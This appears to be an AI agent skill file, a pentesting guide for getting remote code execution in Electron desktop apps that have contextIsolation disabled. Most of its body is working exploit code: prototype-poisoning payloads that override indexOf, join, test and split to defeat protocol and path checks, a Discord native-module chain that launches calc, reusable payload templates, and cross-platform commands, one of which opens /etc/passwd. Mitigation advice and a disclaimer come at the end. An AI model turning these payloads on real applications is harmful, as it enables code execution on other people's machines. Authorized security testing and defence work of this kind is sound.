| name | electron-contextisolation-pentest |
| description | How to identify and exploit Electron app contextIsolation vulnerabilities for RCE. Use this skill whenever you're pentesting Electron desktop applications, analyzing Electron security, investigating preload script vulnerabilities, or need to test for context isolation bypasses. Trigger this skill for any Electron security assessment, even if the user doesn't explicitly mention 'contextIsolation' or 'preload' - just mention Electron apps, desktop app security, or Electron vulnerabilities. |
Electron ContextIsolation RCE via Preload Code
This skill helps you identify and exploit Electron applications that lack proper context isolation between the renderer and main processes. When contextIsolation is disabled or preload scripts are improperly configured, attackers can achieve Remote Code Execution (RCE) through JavaScript prototype pollution.
When to Use This Skill
Use this skill when:
- Pentesting Electron desktop applications
- Analyzing Electron app security configurations
- Investigating preload script vulnerabilities
- Testing for context isolation bypasses
- Reviewing Electron app code for security issues
- Any security assessment involving Electron-based desktop apps
Understanding the Vulnerability
Electron apps use a preload script to expose Node.js APIs to the renderer process. When contextIsolation is disabled, the renderer can access Node.js objects directly, allowing attackers to:
- Override built-in JavaScript methods to bypass security checks
- Poison prototype methods to redirect execution flow
- Execute arbitrary system commands through exposed APIs
Exploit Technique 1: Array.prototype.indexOf Poisoning
The Vulnerability
Many Electron apps check if a URL protocol is safe before opening it:
const SAFE_PROTOCOLS = ['http:', 'https:'];
if (SAFE_PROTOCOLS.indexOf(url.protocol) === -1) {
}
The Exploit
Override Array.prototype.indexOf to always return a non-negative value, bypassing the check:
<script>
Array.prototype.indexOf = function() {
return 1337;
}
</script>
<a href="file:///C:/Windows/System32/calc.exe">CLICK</a>
How It Works
- The app checks
SAFE_PROTOCOLS.indexOf('file:')
- Your poisoned
indexOf returns 1337 instead of -1
- The app thinks
file: is a safe protocol
- The file:// URL opens, executing the binary
Variations
Array.prototype.indexOf = function() { return 0; }
Array.prototype.indexOf = function() { return 1; }
Exploit Technique 2: Built-in Method Overriding
The Vulnerability
Some Electron apps expose native modules that execute system commands. By overriding JavaScript built-in methods, you can manipulate the execution path.
Discord RCE Example
Discord exposed DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions() which runs nvidia-smi.exe.
The Exploit
RegExp.prototype.test = function() {
return false;
};
Array.prototype.join = function() {
return "calc";
};
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions();
How It Works
- The app calls
execa(nvidiaSmiPath, []) to run nvidia-smi
execa internally uses Array.prototype.join to build the command
- Your poisoned
join returns "calc" instead of the path
execa executes calc instead of nvidia-smi
Target Methods to Override
| Method | Purpose | Example |
|---|
Array.prototype.join | Command construction | return "calc" |
RegExp.prototype.test | Path validation | return false |
String.prototype.split | Path parsing | return ["calc"] |
Array.prototype.indexOf | Protocol checks | return 0 |
Object.prototype.hasOwnProperty | Property checks | return true |
Testing Checklist
1. Check for contextIsolation
Look for these patterns in the Electron app:
webPreferences: {
contextIsolation: false
}
webPreferences: {
nodeIntegration: true
}
webPreferences: {
contextIsolation: true,
nodeIntegration: false
}
2. Inspect Preload Scripts
Open DevTools and check:
console.log(typeof require);
console.log(typeof process);
console.log(window.DiscordNative);
console.log(window.electron);
console.log(window.require);
3. Test for Prototype Pollution
Array.prototype.testOverride = function() { return "pwned"; };
const arr = [1, 2, 3];
console.log(arr.testOverride());
4. Identify Exposed Native Modules
console.log(Object.keys(window));
console.log(Object.getOwnPropertyNames(window));
if (window.DiscordNative) {
console.log(Object.keys(window.DiscordNative));
}
Payload Templates
Basic RCE Payload
<script>
Array.prototype.indexOf = function() { return 1337; };
</script>
<a href="file:///C:/Windows/System32/calc.exe">Execute</a>
Advanced Method Override
Array.prototype.join = function() { return "calc"; };
RegExp.prototype.test = function() { return false; };
String.prototype.split = function() { return ["calc"]; };
Cross-Platform Payloads
const payload = "calc";
const payload = "/usr/bin/osascript -e 'tell application \"System Events\" to display dialog \"Pwned\"'";
const payload = "xdg-open file:///etc/passwd";
Mitigation Recommendations
For Developers
-
Enable contextIsolation
webPreferences: {
contextIsolation: true,
nodeIntegration: false
}
-
Use sandbox
webPreferences: {
sandbox: true
}
-
Avoid exposing Node.js APIs
contextBridge.exposeInMainWorld('api', {
require: require
});
contextBridge.exposeInMainWorld('api', {
safeFunction: () => ipcRenderer.invoke('safe-channel')
});
-
Validate all inputs
const allowedProtocols = ['http:', 'https:'];
const isSafe = allowedProtocols.includes(url.protocol);
References
Legal Disclaimer
Only use these techniques on systems you own or have explicit permission to test. Unauthorized exploitation of Electron applications is illegal and unethical.